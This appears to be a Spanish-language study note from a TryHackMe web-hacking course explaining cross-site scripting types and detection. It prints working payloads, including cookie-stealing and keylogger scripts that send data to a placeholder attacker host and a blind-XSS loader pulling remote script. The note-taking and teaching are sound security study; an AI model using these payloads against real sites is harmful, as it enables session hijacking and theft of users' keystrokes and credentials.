> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/pt1-tryhackme/web-hacking/cross-site-scripting-xss.md).

# Cross-Site Scripting (XSS)

### ¿Qué es el Cross-Site Scripting (XSS)?

**XSS** o **Cross-Site Scripting** es una vulnerabilidad de tipo **inyección** que ocurre cuando un atacante consigue inyectar código JavaScript malicioso en una aplicación web, con el objetivo de que dicho código sea ejecutado por el navegador de **otros usuarios**.

Esta vulnerabilidad es muy común en aplicaciones web mal validadas, y puede tener impactos graves como robo de sesiones, keylogging, redirecciones maliciosas o manipulación de la lógica de negocio.

***

### ¿Qué es un Payload en XSS?

En el contexto de XSS, un **payload** es el código JavaScript que queremos que se ejecute en el navegador de la víctima. Todo payload tiene dos partes:

* **Intención**: qué acción quieres que realice el código (mostrar un `alert`, robar cookies, redirigir, etc).
* **Modificación**: los ajustes que debes hacer al payload para que funcione en el contexto específico de la aplicación (por ejemplo, si debes escapar caracteres, codificar entidades HTML, etc).

***

### Ejemplos de Intenciones de Payloads

#### 1. Proof of Concept (PoC)

Simplemente para demostrar que existe la vulnerabilidad.

```html
<script>alert('XSS');</script>
```

#### 2. Robo de Cookies (Session Stealing)

Envía las cookies de la víctima al servidor del atacante:

```html
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
```

#### 3. Keylogger

Captura cada tecla pulsada y la envía al atacante:

```html
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key)); }</script>
```

#### 4. Manipulación de Lógica de Negocio

Invoca funciones internas de la aplicación:

```html
<script>user.changeEmail('attacker@hacker.thm');</script>
```

***

### Tipos de XSS

#### Reflected XSS

* El payload se **refleja inmediatamente** en la respuesta del servidor, como parte de una URL manipulada.
* Ocurre cuando datos del usuario (por ejemplo, en una query string) son incluidos en el HTML sin sanitización.

**Ejemplo:**

```
https://victima.com/page?error=<script>alert(1)</script>
```

**Vectores comunes:**

* Parámetros en URL
* Rutas (path)
* A veces headers HTTP

***

#### Stored XSS

* El payload se **almacena en el servidor** (base de datos, archivos, etc).
* Se ejecuta cuando otro usuario visita la parte de la aplicación donde se carga ese contenido.

**Ejemplo:**

Un comentario con JavaScript en un blog que no valida el contenido:

```html
<script>alert('Stored XSS');</script>
```

**Vectores comunes:**

* Comentarios
* Perfiles de usuario
* Formularios de entrada persistente

***

#### DOM-Based XSS

* El código malicioso **nunca toca el backend**, todo ocurre en el navegador.
* Se produce cuando el JavaScript del lado del cliente **interactúa con valores no controlados por el usuario** sin sanitización.

**Ejemplo:**

```js
document.getElementById("mensaje").innerHTML = location.hash;
```

Payload:

```
https://victima.com/#<img src=x onerror=alert(1)>
```

**Para detectar:**

* Requiere revisar el código fuente JavaScript.
* Buscar referencias a `window.location`, `document.URL`, `document.referrer`, etc.
* Ver si estas variables se pasan a funciones peligrosas como `innerHTML`, `eval()`, `document.write()`, etc.

***

#### Blind XSS

* Similar al Stored XSS, pero el atacante **no ve directamente el resultado**.
* Ideal para atacar paneles de administración, donde el payload es ejecutado en otro contexto.

**Ejemplo:**

Formulario de contacto que guarda los mensajes y los muestra en un panel privado:

```html
<script src="https://attacker.com/blind.js"></script>
```

**Herramientas útiles:**

* [XSS Hunter Express](https://github.com/d0x1d/xsshunter-express): Captura cookies, URLs, contenido de páginas, etc., cuando el payload se ejecuta.

***

### ¿Qué es el DOM?

El **DOM** (Document Object Model) es una representación en forma de árbol del contenido HTML de una página. Permite que el JavaScript acceda y modifique dinámicamente:

* La estructura del documento
* El estilo (CSS)
* El contenido (texto, etiquetas, etc.)

Manipular el DOM sin sanitizar entradas del usuario puede llevar a **DOM-Based XSS**.

***

### Recomendaciones generales para detectar XSS

* Refleja entradas controladas y mira si aparecen sin codificar en el HTML.
* Prueba con payloads simples (`<script>alert(1)</script>`).
* Usa herramientas como **Burp Suite**, **XSStrike**, o **Dalfox**.
* Inspecciona el DOM para analizar cómo se manejan los datos de entrada.
